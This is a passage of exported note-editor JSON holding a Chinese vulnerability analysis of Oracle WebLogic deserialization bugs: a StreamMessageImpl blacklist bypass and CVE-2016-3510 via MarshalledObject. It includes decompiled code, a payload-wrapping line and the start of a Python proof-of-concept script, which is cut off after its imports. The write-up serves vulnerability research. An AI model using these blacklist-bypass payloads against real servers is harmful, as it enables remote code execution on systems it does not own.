(weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lqcT-1673859739926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xReg-1673859739925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JMKl-1673860803282&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ujZf-1673860803283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样通过InboundMsgAbbrev为入口进行数据的read操作，但由于我们实现了StreamMessageImpl接口，反序列化过程将通过readOrdinaryObject方法调用readExternalData，进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6Bk-1673860810473&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5157/WEBRESOURCEac9022c8e018d447a7b9060cf0161306&#34;,&#34;width&#34;:683,&#34;height&#34;:435},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fZRS-1673861233583&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5172/WEBRESOURCEb5d2b8fb70b240fd6b87075d9a01eca2&#34;,&#34;width&#34;:681,&#34;height&#34;:434},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi6l-1673861249592&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5174/WEBRESOURCE054963ec8bb5704dade19fbf183c769b&#34;,&#34;width&#34;:677,&#34;height&#34;:432},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qYQV-1673859772464&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5151/WEBRESOURCE60a529a6a8e28583e2e81d2d69f6f95d&#34;,&#34;width&#34;:689,&#34;height&#34;:438},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JVFv-1673857564118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cFeS-1673857564116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从流量特征上看并无太多变化，主要还是weblogic.jms.common.StreamMessageImpl类的出现，而weblogicScaner也是基于response来判断vulnerability：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TUK6-1673861428607&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5179/WEBRESOURCE42fb31ca62eef9f0eda4591387da1b0a&#34;,&#34;width&#34;:599,&#34;height&#34;:516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kShA-1673861461642&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5181/WEBRESOURCEa39f7080a5a3c049699d5ad93602ad1c&#34;,&#34;width&#34;:585,&#34;height&#34;:501},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pmtt-1673861452247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GOVh-1673861452248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ohYC-1673883639127&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nqTf-1673883639125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-3510&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U4Ec-1673883240812&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KP5B-1673883240799&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VeU6-1673883779995&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vncG-1673883779996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lnMs-1673883779998&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLGv-1673883779999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vwbd-1673883780000&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bONz-1673883780001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ai1-1673883780003&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nUAq-1673883780004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6shM-1673883780006&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WYcJ-1673883780007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0E1F-1673883780008&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b3jv-1673883780009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样是对补丁黑名单的绕过，这次使用的是&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;这个类：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gnJb-1673884872397&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rfsi-1673884872337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8n9Q-1673884872336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public MarshalledObject(Object var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fT2Z-1673884872339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TQzc-1673884872338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SkU3-1673884872341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OOvl-1673884872340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = 13;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JLg0-1673884872343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zayc-1673884872342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jFUB-1673884872345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CCBw-1673884872344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEcB-1673884872347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5atc-1673884872346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G32e-1673884872349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qd9y-1673884872348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xm3T-1673884872351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HqsD-1673884872350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m3lX-1673884872353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pKqW-1673884872352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.objBytes = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5fOw-1673884872355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K19o-1673884872354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int var4 = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G85q-1673884872357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xU1p-1673884872356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V4l2-1673884872359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gngO-1673884872358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for(int var5 = 0; var5 &lt; this.objBytes.length; ++var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlEY-1673884872361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z522-1673884872360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var4 = 31 * var4 + this.objBytes[var5];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13ln-1673884872363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZaAI-1673884872362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q7Kw-1673884872365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Psv-1673884872364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mb1c-1673884872367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DXwZ-1673884872366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sUrx-1673884872370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fpbH-1673884872369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ubgO-1673884872372&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7VSO-1673884872371&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SCvn-1673884872374&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aQTf-1673884872373&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DIP7-1673884872376&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FT1J-1673884872375&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HKNR-1673884872378&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kbkx-1673884872377&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.objBytes == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xuIb-1673884872380&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MtFY-1673884872379&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VtXd-1673884872382&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DL4j-1673884872381&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3A1z-1673884872384&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aXd1-1673884872383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQny-1673884872386&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dFXy-1673884872385&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectInputStream var2 = new ObjectInputStream(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5ZWp-1673884872388&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WmMB-1673884872387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var3 = var2.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Llva-1673884872390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9YEV-1673884872389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var2.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SEDz-1673884872392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7A1D-1673884872391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cn9g-1673884872394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDwI-1673884872393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bZQs-1673884872396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lkyJ-1673884872395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdny-1673883241049&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V06C-1673883241047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;MarshalledObject并未重写&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]},{&#34;text&#34;:&#34;readObject方法或实现readExternal方法，使用原生的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;ObjectInputStream方法实现反序列化。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LADH-1673885150353&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7tYF-1673885150352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R9sj-1673885150351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject marshalledObject = new MarshalledObject(payload_here);&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5iJb-1673883241528&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c3NP-1673883241526&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;直接用&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;MarshalledObject的构造方法生成对象，封装反序列化流：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bSVB-1673885773909&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5207/WEBRESOURCEdffb245e8291b93f43561013a0912372&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EIql-1673861452399&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CTvx-1673861452398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y9Y6-1673886011236&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0EHs-1673886011233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;还是使用上文中的poc脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;49an-1673886049175&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Zo1-1673886049046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b2ND-1673886049045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1kaL-1673886074102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O4Ay-1673886074101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ClWH-1673886074104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvp4-1673886074103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEJH-1673886074106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n7FM-1673886074105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KBb9-1673886074108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7wEe-1673886074107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import time&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ONHJ-1673886074110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZjHI-1673886074109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from multiprocessing.managers import SyncManager&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aagr-1673886074112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8G1T-1673886074111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from typing import Any, Dict, List, Mapping, Tuple, 